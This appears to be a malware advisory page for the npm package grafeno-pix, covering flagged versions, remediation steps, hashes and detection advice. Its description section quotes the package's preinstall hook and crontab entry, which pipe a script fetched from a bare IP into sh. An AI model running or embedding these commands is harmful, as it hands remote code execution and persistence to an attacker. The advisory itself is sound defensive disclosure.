Which versions of grafeno-pix are malicious?

The following npm versions of grafeno-pix are flagged malicious: 1.0.0, 1.0.1. Treat any of these as compromised.

How do I remediate grafeno-pix if I installed it?

Remove grafeno-pix from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed grafeno-pix — how do I know if it already compromised me?

If grafeno-pix was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is grafeno-pix part of a known attack campaign?

Yes — grafeno-pix is associated with the IN-MAL-2026-019057, IN-MAL-2026-019114 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find grafeno-pix across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for grafeno-pix (2 malicious versions).

Malicious package

grafeno-pixnpm

Advisory published Aug 28, 2026Updated Aug 29, 2026

grafeno-pix is a confirmed malicious npm package (MAL-2026-15507) that executes malicious code on install (malicious versions 1.0.0, 1.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in grafeno-pix (npm)

MAL-2026-15507

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall grafeno-pix

What this malware does

[email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and executing it as the installer on npm install. The same hook installs a crontab entry (*/30 * * * * curl -s 216.126.236.46/x.sh | sh) that re-fetches and executes the remote script every 30 minutes, providing persistent remote code delivery to the installer's host. The endpoint is an anonymous bare-IP address unrelated to any package publisher and the fetched content is unpinned and integrity-unchecked, so whatever bytes 216.126.236.46 returns run as the user performing the install, indefinitely.

The OpenSSF Package Analysis project identified 'grafeno-pix' @ 1.0.1 (npm) as malicious.

It is considered malicious because:

The package executes one or more commands associated with malicious behavior.

Malicious versions

2 flagged

1.0.01.0.1

Indicators of compromise (SHA-256)

a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3

e991c3c85e0ddf3403892cc87f458dc91d6a8c2d1da6cca375034c1a0857e584

e3faea79e69124549d9eb7b1ddf2a55285c8dcdede27aa1911da3a50d84491dd

Detection & response playbook

Malicious package

Find it
Search your lockfiles and build artifacts for grafeno-pix (2 malicious versions).
If you installed it — respond
Remove grafeno-pix from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If grafeno-pix was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. grafeno-pix on npm has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-019057IN-MAL-2026-019114

References

Credits

Amazon Inspector · finder
OpenSSF: Package Analysis · finder

Detect & block this

O3 blocks grafeno-pix-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database